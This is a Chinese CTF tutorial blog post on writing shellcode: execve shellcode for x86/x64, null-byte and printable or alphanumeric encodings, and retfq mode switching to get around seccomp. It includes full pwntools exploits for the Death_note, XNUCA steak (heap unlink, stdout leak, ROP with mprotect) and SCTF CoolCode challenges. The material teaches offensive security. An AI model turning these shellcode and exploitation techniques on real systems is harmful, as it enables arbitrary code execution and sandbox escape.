zoukankan      html  css  js  c++  java
  • Shellcode

    什么是Shellcode:

      shellcode是我们写入到程序的一段可执行代码,通过执行这串代码我们可以拿到靶机的shell,从而可以干你想干的事。不过现在的题目一般都对可以写入的位置做了限制,既可写不可执行。但如果是一道专门的shellcode题,则会在某一段加入可写可执行的权限,或则利用mprotect()或者_dl_make_stack_executable()改写某些区域的proc再执行。

      32位的shellcode和64位的略有不同,这里我们先讲32位的shellcode。

    x86:

    我们先用C写一个调用shell的程序,其代码如下:

    #include <stdio.h>
    #include <stdlib.h>
    int main()
    {
      execve("/bin/sh", 0, 0);
      return 0;          
    }

      编译成32位程序:gcc -m32 -g -o test1 test1.c,运行便可以拿到我们本机的shell。

      我们调试一下看看是怎么调用execve()这个函数的。

      这里我们进入到execve()函数里,发现是这样一串汇编代码:

    执行后寄存器的值为:

      我们可以发现再调用execve()函数之前,程序显示给相应的寄存器赋值,然后调用execve()函数。现在我们可以模仿这个调用机制来写相对应的汇编代码。

      不过要注意的是,之前的是一个完整的C语言程序,但在shellcode中引入这么多头文件是不现实的,因此我们用int 80h系统调用(有关int 80h的知识读者可自行百度),再者写汇编时 “/bin/sh” 这个字符串需要我们手动压入栈中,写好的程序如下:

    mov edx,0
    mov ecx,0
    push 0x68732f
    push 0x6e69622f
    mov ebx,esp
    mov eax,0xb
    int 0x80

    编写一个测试程序如下:

    // gcc main.c -m32 -z execstack -o main
    #include <stdio.h>
    int main() {
        void (*ptr)();
        char buf[0x20];
        puts("shellcode>>");
        read(0, buf, 0x20);
        ptr = buf;
        ptr();
    }

    exp如下:

    from pwn import *
    context.log_level = 'debug'
    context.arch = 'i386'
    p = process("./test")
    #gdb.attach(p)
    shellcode = asm('''
            mov edx, 0
            mov ecx, 0
            push 0x68732f
            push 0x6e69622f
            mov ebx, esp
            mov eax, 0xb
            int 0x80
    ''')
    info(disasm(shellcode))
    p.sendafter("shellcode>>
    ", shellcode)
    p.interactive()

     运行一下exp就可以拿到我们本机的shell。这里我们观察一下shellcode的十六进制机器码:

    总共占29个字节,而且包含很多坏字符'x00',容易导致shellcode被截断失去作用。这时候我们就要对shellcode进行优化。

    • mov edx, 0是对寄存器edx清零,占5个字节。xor edx, edx也是对edx寄存器清零,但是只占两个字节,因此我可以用xor指令进行替换
    • 同理,把mov ecx, 0 替换为xor ecx, ecx
    • mov eax, oxb其实是对寄存器eax低8位赋值,因此我们可以将其改为mov al, 0xb

    优化后的shellcode为:

    xor edx, edx
    xor ecx, ecx
    push 0x68732f
    push 0x6e69622f
    mov ebx, esp
    mov al, 0xb
    int 0x80

    此时shellcode的大小变为20字节

    另一种方法就是用mul指令来清零eax和edx,其代码如下:

    mul ebx
    xor ecx, ecx
    mov al, 0xb
    push 0x0068732f
    push 0x6e69622f
    mov ebx, esp
    int 0x80

    优化后的字节数也是20字节

     x64:

    同样,先写出一个完整的C程序观察如何调用shell,代码如下:

    #include <stdio.h>
    #include <stdlib.h>
    int main()
    {
        execve("/bin/sh", 0, 0);
        return 0;
    }

    编译运行并调试,有如下结果

     然后模仿这个调用过程写出汇编代码:

    mov rdx, 0
    mov rsi, 0
    mov rdi, 0x68732f6e69622f 
    push rdi
    mov rdi, rsp
    mov rax, 0x3b
    syscall

    同样对shellcode进行优化,优化后的代码如下:

    mov al, 59
    push rbx
    push rbx
    pop rsi
    pop rdx
    mov rdi, 0x68732f6e69622f
    push rdi
    push rsp
    pop rdi
    syscall

     题外:几个有用的命令

    nasm -f elf64 shellcode.asm
    ld -m elf_x86_64 -o shellcode shellcode.o

    例题:

    题目附件

    限制字符范围,禁用execve和open

    查看题目保护:

     用IDA分析程序时发现有禁用系统调用,如下:

    且限制输入的字符ascii在0x1f到0x7f,即只能输入可见字符。

    思路分析:

    限制了系统调用不能getshell,所以采用orw。

    由上图可知open函数是禁用的。这里我们先看看允许的系统调用号为多少。

    由上可知,如果我们把程序改为32位运行,就可以使用open函数,之后又改为64位运行,就可以调用read、wirte函数。

    修改程序运行模式需要用到retfq这个指令,这个指令有两步操作:ret和set cs。cs=0x23程序以32位模式运行,cs=0x33程序以64位模式运行。retfq这个指令参数是放在栈中,[rsp]为要执行的代码的地址,[rsp + 0x8]为0x23或0x33。需要的注意的是,在由64位变为32位后,rsp的值会变成非法值,故需先修复rsp的值在执行相应的代码

    总体思路:

    • mmap分配一段地址为4个16进制位的内存(如:0x40404040)。其有两个目的:生成地址可控的内存空间,方便用read写入code;防止程序变为32位后寄存器无法存储原本5个16进制位的地址。
    • 用汇编实现read函数
    • retfq改为32运行模式
    • open打开flag文件
    • retfq改为64位运行模式
    • read
    • wirte

    踩坑记录:因为以前做到orw的题目用open打开后文件描述符一般都是3,所以这里我也用3作为参数,结果远程环境不是3,在这里浪费了好多时间

    完成exp如下:

    #-*- coding:utf8 -*-
    from pwn import *
    context(os = 'linux', log_level = 'debug', terminal = ['tmux', 'splitw', '-h'])
    DEBUG = 1
    if DEBUG == 0:
        p = process('./shellcode')
    elif DEBUG == 1:
        p = remote('nc.eonew.cn', 10011)
    
    code_append = asm('''
            push rcx
            pop rcx
    ''', arch = 'amd64', os = 'linux')
    # 用mmap分配一段内存空间
    code_mmap = asm('''
            /*mov rdi, 0x40404040*/
            push 0x40404040
            pop rdi
    
            /*mov rsi, 0x7e*/
            push 0x7e
            pop rsi
    
            /*mov rdx, 0x7*/
            push 0x37
            pop rax
            xor al, 0x30
            push rax
            pop rdx
    
            /*mov r8, 0*/
            push 0x30
            pop rax
            xor al, 0x30
            push rax
            pop r8
    
            /*mov r9, 0*/
            push rax
            pop r9
    
            /*syscall*/
            push 0x5e
            pop rcx
            xor byte ptr [rbx+0x2c], cl
            push 0x5c
            pop rcx
            xor byte ptr [rbx+0x2d], cl
    
            /*mov rax, 0x9*/
            push 0x39
            pop rax
            xor al, 0x30
    ''', arch = 'amd64', os = 'linux')
    
    code_read = asm('''
            /*mov rsi, 0x40404040*/
            push 0x40404040
            pop rsi
    
            /*mov rdi, 0*/
            push 0x30
            pop rax
            xor al, 0x30
            push rax
            pop rdi
    
            /*mov rdx, 0x7e*/
            push 0x7e
            pop rdx
    
            /*mov rax, 0*/
            push 0x30
            pop rax
            xor al, 0x30
    
            /*syscall*/
            push 0x5e
            pop rcx
            xor byte ptr [rbx+0x4f], cl
            push 0x5c
            pop rcx
            xor byte ptr [rbx+0x50], cl
    
    ''', arch = 'amd64', os = 'linux')
    
    code_retfq = asm('''
            /* 算出0x48 */
            push 0x39
            pop rcx
            xor byte ptr [rbx + 0x71], cl
            push 0x20
            pop rcx
            xor byte ptr [rbx + 0x71], cl
    
            /*
            * 利用无借位减法算出0xcb
            */
            push 0x47
            pop rcx
            sub byte ptr [rbx + 0x72], cl
            sub byte ptr [rbx + 0x72], cl
            push rdi
            push rdi
            push 0x23
            push 0x40404040
            pop rax
            push rax
    ''', arch = 'amd64', os = 'linux')
    
    code_open = asm('''
            /* open函数 */
            mov esp, 0x40404550
            push 0x67616c66
            mov ebx, esp
            xor ecx, ecx
            xor edx, edx
            mov eax, 0x5
            int 0x80
            mov ecx, eax
    ''', arch = 'i386', os = 'linux')
    
    code_retfq_1 = asm(''' 
            /* retfq */
            push 0x33
            push 0x40404062 /* 具体数字有待修改 */
            retfq
    ''', arch = 'amd64', os = 'linux')
    
    code_read_write = asm('''
            /* 修复栈 */
            mov esp, 0x40404550 /* 有待修改 */
    
            /* read函数 */
            mov rdi, rcx
            mov rsi, 0x40404800
            mov rdx, 0x7a
            xor rax, rax
            syscall
    
            /* write函数 */
            mov rdi, 0x1
            mov rsi, 0x40404800
            mov rdx, 0x7a
            mov rax, 0x1
            syscall
    ''', arch = 'amd64', os = 'linux')
    
    #gdb.attach(p, 'b * 0x4002eb
    c
    si')
    code  = code_mmap
    code += code_append
    code += code_read
    code += code_append
    code += code_retfq
    code += code_append
    
    code1  = code_open
    code1 += code_retfq_1
    code1 += code_read_write
    
    p.sendafter("shellcode: ", code)
    #pause()
    p.sendline(code1)
    p.interactive()
    p.close()

     参考博客

    编写code时的一些小技巧:

    1、用push、pop来给寄存其赋值
    push rax
    pop rax
    
    2、用寄存器代替操作数
    xor byte ptr [rax + 0x40], 0x50              80 70 40 50
    可用如下代码代替
    push 0x50                                    6a 50
    pop rcx                                      59
    xor byte ptr [rax + 0x40], cl                30 48 40
    
    3、清零某一寄存器可用如下代码
    push 0x30                                    6a 30
    pop rax                                      58
    xor al, 0x30                                 34 30
    
    4、尽量使用al、bl、cl而非dl
    
    5、有时候交换两个寄存器的位置可以减小机器码值的大小

     orw:

    题目附件

    32位程序,题目为比较简单,没有字符限制,直接上exp:

    #-*- coding:utf8 -*-
    from pwn import *
    context(os = 'linux', arch = 'i386', log_level = 'debug', terminal = ['tmux', 'splitw', '-h'])
    p = process('./orw')
    
    code = asm('''
            /* open */
            push 0
            push 0x67616c66
            mov ebx, esp /* 第一个参数的地址 */
            xor ecx, ecx
            xor edx, edx 
            mov eax, 5 /* 系统调用号 */
            int 0x80
    
            /* read */
            mov ebx, eax /* 文件描述符 */
            mov ecx, 0x0804a050 /* 写入数据的内存地址 */
            mov edx, 0x20 /* 读取数据的长度 */
            mov eax, 0x3 /* 系统调用号 */
            int 0x80
    
            /* write */
            mov ebx, 1 /* 文件描述符 */
            mov ecx, 0x0804a050 /* flag地址 */
            mov edx, 0x20 /* 打印的数据长度 */
            mov eax, 0x4 /* 系统调用号 */
            int 0x80
            
    ''', arch = 'i386', os = 'linux')
    
    #gdb.attach(p, 'b * 0x0804858a
    c
    si')
    p.sendafter("shellcode:", code + 'x00')
    
    
    p.interactive()

     限制字符在[0-9]、[A-Z]:

    附件

    题目源代码:

    // gcc -m32 -z execstack -fPIE -pie -z now chall2.c -o chall2
    int main() {
        char buf[0x200];
        int n, i;
        n = read(0, buf, 0x200);
        if (n <= 0)
            return 0;
        for (i = 0; i < n; i++) {
            if(!((buf[i] >= 65 && buf[i] <= 90) || (buf[i] >= 48 && buf[i] <= 57))) // 0~9 A~Z
                return 0;
        }
        ((void(*)(void))buf)();
    }

    这个shellcode我们可以用工具生成,具体看博客

    exp如下:

    from pwn import *
    context.terminal = ['tmux', 'splitw', '-h']
    p = process('./chall2')
    payload1 = "PYIIIIIIIIIIQZVTX30VX4AP0A3HH0A00ABAABTAAQ2AB2BB0BBXP8ACJJIRJ4K68J90RCXVO6O43E82HVOE2SYBNMYKS01XIHMMPAA"
    info(len(payload1))
    p.send(payload1)
    p.interactive()

     Death_note:

    题目附件

    这题把字符限制在可见字符范围内,且输入的shellcode长度不得超过0x50。这个还是比较好编写的。具体的可用的指令如下:

    1.数据传送:
    push/pop eax…
    pusha/popa
    
    2.算术运算:
    inc/dec eax…
    sub al, 立即数
    sub byte ptr [eax… + 立即数], al dl…
    sub byte ptr [eax… + 立即数], ah dh…
    sub dword ptr [eax… + 立即数], esi edi
    sub word ptr [eax… + 立即数], si di
    sub al dl…, byte ptr [eax… + 立即数]
    sub ah dh…, byte ptr [eax… + 立即数]
    sub esi edi, dword ptr [eax… + 立即数]
    sub si di, word ptr [eax… + 立即数]
    
    3.逻辑运算:
    and al, 立即数
    and dword ptr [eax… + 立即数], esi edi
    and word ptr [eax… + 立即数], si di
    and ah dh…, byte ptr [ecx edx… + 立即数]
    and esi edi, dword ptr [eax… + 立即数]
    and si di, word ptr [eax… + 立即数]
    
    xor al, 立即数
    xor byte ptr [eax… + 立即数], al dl…
    xor byte ptr [eax… + 立即数], ah dh…
    xor dword ptr [eax… + 立即数], esi edi
    xor word ptr [eax… + 立即数], si di
    xor al dl…, byte ptr [eax… + 立即数]
    xor ah dh…, byte ptr [eax… + 立即数]
    xor esi edi, dword ptr [eax… + 立即数]
    xor si di, word ptr [eax… + 立即数]
    
    4.比较指令:
    cmp al, 立即数
    cmp byte ptr [eax… + 立即数], al dl…
    cmp byte ptr [eax… + 立即数], ah dh…
    cmp dword ptr [eax… + 立即数], esi edi
    cmp word ptr [eax… + 立即数], si di
    cmp al dl…, byte ptr [eax… + 立即数]
    cmp ah dh…, byte ptr [eax… + 立即数]
    cmp esi edi, dword ptr [eax… + 立即数]
    cmp si di, word ptr [eax… + 立即数]
    
    5.转移指令:
    push 56h
    pop eax
    cmp al, 43h
    jnz lable
    
    <=> jmp lable
    
    6.交换al, ah
    push eax
    xor ah, byte ptr [esp] // ah ^= al
    xor byte ptr [esp], ah // al ^= ah
    xor ah, byte ptr [esp] // ah ^= al
    pop eax
    
    7.清零:
    push 44h
    pop eax
    sub al, 44h ; eax = 0
    
    push esi
    push esp
    pop eax
    xor [eax], esi ; esi = 0

    exp如下:

    #-*- coding:utf8 -*-
    from pwn import *
    context(os = 'linux', log_level = 'debug', terminal = ['tmux', 'splitw', '-h'])
    #p = process('./death_note')
    p = remote('chall.pwnable.tw', 10201)
    
    def Add(index, content):
        p.sendlineafter('Your choice :', '1')
        p.sendlineafter('Index :', str(index))
        p.sendafter('Name :', content)
    
    def Show(index):
        p.sendlineafter('Your choice :', '2')
        p.sendlineafter('Index :', str(index))
    
    def Delete(index):
        p.sendlineafter('Your choice :', '3')
        p.sendlineafter('Index :', str(index))
        
    #gdb.attach(p, 'b * 0x08048770
    c
    b * 0x080487c0
    b * 0x08048873
    c 3
    c 3
    si')
    shellcode = asm('''
            /* 计算/bin/sh 13 */
            push 0x2b
            pop ecx
            sub byte ptr [eax+0x44], cl
            sub byte ptr [eax+0x48], cl
    
            /*计算ebx*/  
            push eax
            pop ecx
            xor al, 0x44
            push eax
            pop ebx
    
            /* 计算int 0x80 */
            push ecx
            pop eax
            push 0x40
            pop ecx
            sub byte ptr [eax+0x37], cl
            push 0x43
            pop ecx
            sub byte ptr [eax+0x37], cl
            push 0x60
            pop ecx
            sub byte ptr [eax+0x38], cl
            push 0x70
            pop ecx
            sub byte ptr [eax+0x38], cl
    
            /* 清零ecx, edx 9 */
            push 0x40
            pop eax
            xor al, 0x40
            push eax
            pop ecx
            push eax
            pop edx
    
            push 0x4b
            pop eax
            xor al, 0x40
            
    ''')
    
    payload  = shellcode
    payload += 'x50'*13
    payload += 'ZbinZsh
    '
    
    Add(-19, payload)
    Delete(-19)
    p.interactive()

     2018-XNUCA steak:

    题目附件

    这道题不是单纯的编写shellcode的题目,这个题结合了堆利用、ROP、shellcode、IO_FILE等知识,是一道综合能力比较强的题目。

    在用IDA分析时看到有prctl函数,所用先用seccomp工具查看禁用的系统调用。

     line  CODE  JT   JF      K
    =================================
     0000: 0x20 0x00 0x00 0x00000000  A = sys_number
     0001: 0x15 0x00 0x01 0x000000e7  if (A != exit_group) goto 0003
     0002: 0x06 0x00 0x00 0x7fff0000  return ALLOW
     0003: 0x35 0x00 0x01 0x000000c8  if (A < tkill) goto 0005
     0004: 0x06 0x00 0x00 0x00050001  return ERRNO(1)
     0005: 0x15 0x00 0x01 0x00000002  if (A != open) goto 0007
     0006: 0x06 0x00 0x00 0x00050001  return ERRNO(1)
     0007: 0x15 0x00 0x01 0x00000029  if (A != socket) goto 0009
     0008: 0x06 0x00 0x00 0x00050001  return ERRNO(1)
     0009: 0x15 0x00 0x01 0x0000002a  if (A != connect) goto 0011
     0010: 0x06 0x00 0x00 0x00050001  return ERRNO(1)
     0011: 0x15 0x00 0x01 0x0000002b  if (A != accept) goto 0013
     0012: 0x06 0x00 0x00 0x00050001  return ERRNO(1)
     0013: 0x15 0x00 0x01 0x0000002c  if (A != sendto) goto 0015
     0014: 0x06 0x00 0x00 0x00050001  return ERRNO(1)
     0015: 0x15 0x00 0x01 0x0000002d  if (A != recvfrom) goto 0017
     0016: 0x06 0x00 0x00 0x00050001  return ERRNO(1)
     0017: 0x15 0x00 0x01 0x0000002e  if (A != sendmsg) goto 0019
     0018: 0x06 0x00 0x00 0x00050001  return ERRNO(1)
     0019: 0x15 0x00 0x01 0x0000002f  if (A != recvmsg) goto 0021
     0020: 0x06 0x00 0x00 0x00050001  return ERRNO(1)
     0021: 0x15 0x00 0x01 0x00000030  if (A != shutdown) goto 0023
     0022: 0x06 0x00 0x00 0x00050001  return ERRNO(1)
     0023: 0x15 0x00 0x01 0x00000031  if (A != bind) goto 0025
     0024: 0x06 0x00 0x00 0x00050001  return ERRNO(1)
     0025: 0x15 0x00 0x01 0x00000032  if (A != listen) goto 0027
     0026: 0x06 0x00 0x00 0x00050001  return ERRNO(1)
     0027: 0x15 0x00 0x01 0x00000035  if (A != socketpair) goto 0029
     0028: 0x06 0x00 0x00 0x00050001  return ERRNO(1)
     0029: 0x15 0x00 0x01 0x00000038  if (A != clone) goto 0031
     0030: 0x06 0x00 0x00 0x00050001  return ERRNO(1)
     0031: 0x15 0x00 0x01 0x00000039  if (A != fork) goto 0033
     0032: 0x06 0x00 0x00 0x00050001  return ERRNO(1)
     0033: 0x15 0x00 0x01 0x0000003a  if (A != vfork) goto 0035
     0034: 0x06 0x00 0x00 0x00050001  return ERRNO(1)
     0035: 0x15 0x00 0x01 0x0000003e  if (A != kill) goto 0037
     0036: 0x06 0x00 0x00 0x00050001  return ERRNO(1)
     0037: 0x15 0x00 0x01 0x00000065  if (A != ptrace) goto 0039
     0038: 0x06 0x00 0x00 0x00050001  return ERRNO(1)
     0039: 0x15 0x00 0x01 0x0000009d  if (A != prctl) goto 0041
     0040: 0x06 0x00 0x00 0x00050001  return ERRNO(1)
     0041: 0x06 0x00 0x00 0x7fff0000  return ALLOW

    这题我在看大佬博客时说因为禁用里fork调用,所以不能用getshell这个方法,目前我也每弄清除为啥。

    接下来看下程序本身的漏洞。

    在add函数中读入数据时最后字符串不会添加'x00'

    在delete函数中free后没用清空指针

    在edit函数中存在堆溢出

    程序中还有其他漏洞,不过我们需要利用的就只有这几个。

    思路分析:

    1. 程序中管理分配的chunk的数组地址是可控的,可以利用unlink来控制数组,从而达到任意地址写的目的
    2. 程序中没有leak函数,所以我们需要修改stdout表来泄漏动态链接表加载基址
    3. 向free_hook中写入puts函数泄漏栈地址(free函数对要释放的chunk的有严格的检查机制,这道题要把栈当作堆来释放,明显不符合chunk的格式,但在free时却不会报错,目前每理清楚)
    4. 向.bss节写入orw的代码
    5. mprotect修改.bss节可执行

    完整的exp如下:

    # -*- coding:utf8 -*-
    from pwn import *
    context(os = 'linux', log_level = 'debug') 
    context.terminal = ['tmux', 'splitw', '-h']
    p = process('./steak')
    libc = ELF('libc-2.23.so')
    
    def Add(size, buf):
        p.sendlineafter('>
    ', '1')
        p.sendlineafter('input buf size:
    ', str(size))
        p.sendafter('input buf', buf)
    
    def Delete(index):
        p.sendlineafter('>
    ', '2')
        p.sendlineafter('input index:
    ', str(index))
    
    def Edit(index, size, buf):
        p.sendlineafter('>
    ', '3')
        p.sendlineafter('input index:
    ', str(index))
        p.sendlineafter('input size:
    ', str(size))
        p.sendafter('input new buf:
    ', buf)
    
    def Copy(sindex, dindex, length):
        p.sendlineafter('>
    ', '4')
        p.sendlineafter('input source index:
    ', str(sindex))
        p.sendlineafter('input dest index:
    ', str(dindex))
        p.sendlineafter('input copy length:
    ', str(length))
    
    def Edit1(index, size, buf):
        p.sendlineafter('>', '3')
        p.sendlineafter('input index:', str(index))
        p.sendlineafter('input size:', str(size))
        p.sendafter('input new buf:', buf)
    
    # unlink
    Add(0x80, 'A'*0x80) #0
    Add(0x80, 'A'*0x80) #1
    Add(0x80, 'A'*0x80) #2
    Add(0x80, 'A'*0x80) #3
    Add(0x80, 'A'*0x80) #4
    payload  = p64(0) + p64(0x81) + p64(0x6021a0) + p64(0x6021a8) + 'A'*0x60 + p64(0x80) + p64(0x90)
    Edit(3, 0x90,payload)
    Delete(4)
    
    # 修改stdout,leak
    payload = p64(0x6021a0) + p64(0x602180)
    Edit(3, 0x10, payload)
    Copy(1, 0, 0x8)
    payload = p64(0xfbad1800) + p64(0)*3 + 'x00'
    Edit(0, 0x21, payload)
    p.recv(0x18)
    libc_base = u64(p.recv(8)) - 0x3c36e0
    libc.address = libc_base
    
    """
    将栈地址写入到索引为0的数组中
    """
    ############ 写入栈地址,为free函数泄漏栈地址作准备 #################
    environ_addr = libc.symbols['environ']
    payload = p64(0x6021a0) + p64(environ_addr)
    Edit1(3, 0x10, payload)
    
    ############ 向free_hook汇总写入puts ###################
    free_hook = libc.symbols['__free_hook']
    puts_addr = libc.symbols['puts']
    Edit1(3, 0x8, p64(free_hook))
    Edit1(0, 0x8, p64(puts_addr))
    
    ############# Delete(1),泄漏栈地址 ################
    p.sendlineafter('>', '2')
    p.sendlineafter('input index:', str(1))
    p.recvuntil('
    ')
    stack_addr = u64(p.recv(6) + 'x00x00')
    info("stack_addr ==> " + hex(stack_addr))
    
    ################# 在0x602500中写入retfq orw ##############
    retfq = 0x811dc + libc.address
    orw = asm('''
            mov esp, 0x6029f0
    
            /* open */
            mov ebx, 0x602544
            mov ecx, 0
            mov edx, 0
            mov eax, 5
            int 0x80
    
            /* read */
            mov ebx, eax
            mov ecx, 0x602800
            mov edx, 0x40
            mov eax, 3
            int 0x80
    
            /* write */
            mov ebx, 1
            mov ecx, 0x602800
            mov edx, 0x40
            mov eax, 4
            int 0x80
    ''', arch = 'i386', os = 'linux')
    Edit1(3, 0x8, p64(0x602500))
    Edit1(0, len(orw) + 4, orw + 'flag')
    
    ############ mprotect #################
    mprotect = libc.symbols['mprotect']
    info("mprotect ==> " + hex(mprotect))
    stack_ret_addr = stack_addr - 0xf0
    pop_rdi = 0x0000000000400ca3
    pop_rsi = libc_base + 0x202e8
    pop_rdx = libc_base + 0x1b92
    rop  = p64(pop_rdi) + p64(0x602000)
    rop += p64(pop_rsi) + p64(0x1000)
    rop += p64(pop_rdx) + p64(7)
    rop += p64(mprotect)
    rop += p64(retfq)
    rop += p64(0x602500)
    rop += p64(0x23) + p64(0x602500) # retfq的参数
    Edit1(3, 0x8, p64(stack_ret_addr))
    Edit1(0, len(rop), rop)
    p.sendlineafter('>', '5')
    p.interactive()

     SCTF2020 CoolCode:

    题目附件

    程序实现了Add、Delete、Show这三个函数,在Add函数中,输入的索引可以为负数,如下:

    sub_400BA6这个函数就是对输入的字符进行限制,也存在漏洞,如下:

    这题限制只能用read、write、mmap、fstat这四个系统调用

    思路分析:

    1. 利用Add函数中索引可以为负数修改got表中exit为ret指令绕过字符限制
    2. 利用Add函数中索引可以为负数修改got表中free函数为read函数(read函数需要自己用汇编实现)
    3. 调用free函数向.bss节中写入retfq、open、read、write
    4. 调用Show函数获取flag

    完整exp如下:

    #-*- coding:utf8 -*-
    from pwn import *
    context(os = 'linux', log_level = 'debug', terminal = ['tmux', 'splitw', '-h'])
    p = process('./CoolCode')
    elf = ELF('CoolCode')
    
    def Add(index, messages):
        p.sendlineafter('Your choice :', '1')
        p.sendlineafter('Index: ', str(index))
        p.sendafter('messages: ', messages)
    
    def Show(index):
        p.sendlineafter('Your choice :', '2')
        p.sendlineafter('Index: ', str(index))
    
    def Delete(index):
        p.sendlineafter('Your choice :', '3')
        p.sendlineafter('Index: ', str(index))
    
    code_ret = asm('''
            ret
    ''', arch = 'amd64')
    
    code_read = asm('''
            xor rbx, rbx
            push rbx
            push rbx
            pop rcx
            pop rdi
            push 0x204f34ff
            pop rsi
            xor rsi, 0x202f11ff
            xor rdx, rdx
            push 0x7f
            pop rdx
            xor rax, rax
            syscall
            ret
    ''', arch = 'amd64')
    
    code_retfq = asm('''
            push 0x23
            push 0x204f34ff
            pop rsi
            xor rsi, 0x202f11ff
            push rsi
            retfq
    ''', arch = 'amd64', os = 'linux')
    
    code_open = asm('''
            mov esp, 0x602700
    
            /* open */
            mov ebx, 0x602540 /* 待修改 */
            xor ecx, ecx
            xor edx, edx
            push 5
            pop eax
            int 0x80
            push eax
            pop ebx
    ''', arch = 'i386', os = 'linux')
    
    code_retfq1 = asm('''
            push 0x33
            push 0x60251e
            retfq
    ''', arch = 'amd64')
    
    code_read_write = asm('''
            /* read */
            push rbx
            pop rdi
            push 0x602800
            pop rsi
            push 0x50
            pop rdx
            push 0
            pop rax
            syscall
    
            /* write */
            push 1
            pop rdi
            push 0x602800
            pop rsi
            push 0x50
            pop rdx
            push 1
            pop rax
            syscall
    ''', arch = 'amd64', os = 'linux')
    
    Add(-22, code_ret) # 修改exit的got表,绕过字符限制
    Add(-37, code_read) # 修改free为read函数
    Delete(0)
    payload = code_open + code_retfq1 + code_read_write + 'Aflag'
    p.send(payload)
    Add(-23, code_retfq) #修改_isoc99_scanf函数为retfq
    #gdb.attach(p, 'b * 0x400e14
    c')
    Show(0)
    p.interactive()
  • 相关阅读:
    一个好的时间函数
    Codeforces 785E. Anton and Permutation
    Codeforces 785 D. Anton and School
    Codeforces 510 E. Fox And Dinner
    Codeforces 242 E. XOR on Segment
    Codeforces 629 E. Famil Door and Roads
    Codeforces 600E. Lomsat gelral(Dsu on tree学习)
    Codeforces 438D The Child and Sequence
    Codeforces 729E Subordinates
    【ATcoder】D
  • 原文地址:https://www.cnblogs.com/countfatcode/p/11756258.html
Copyright © 2011-2022 走看看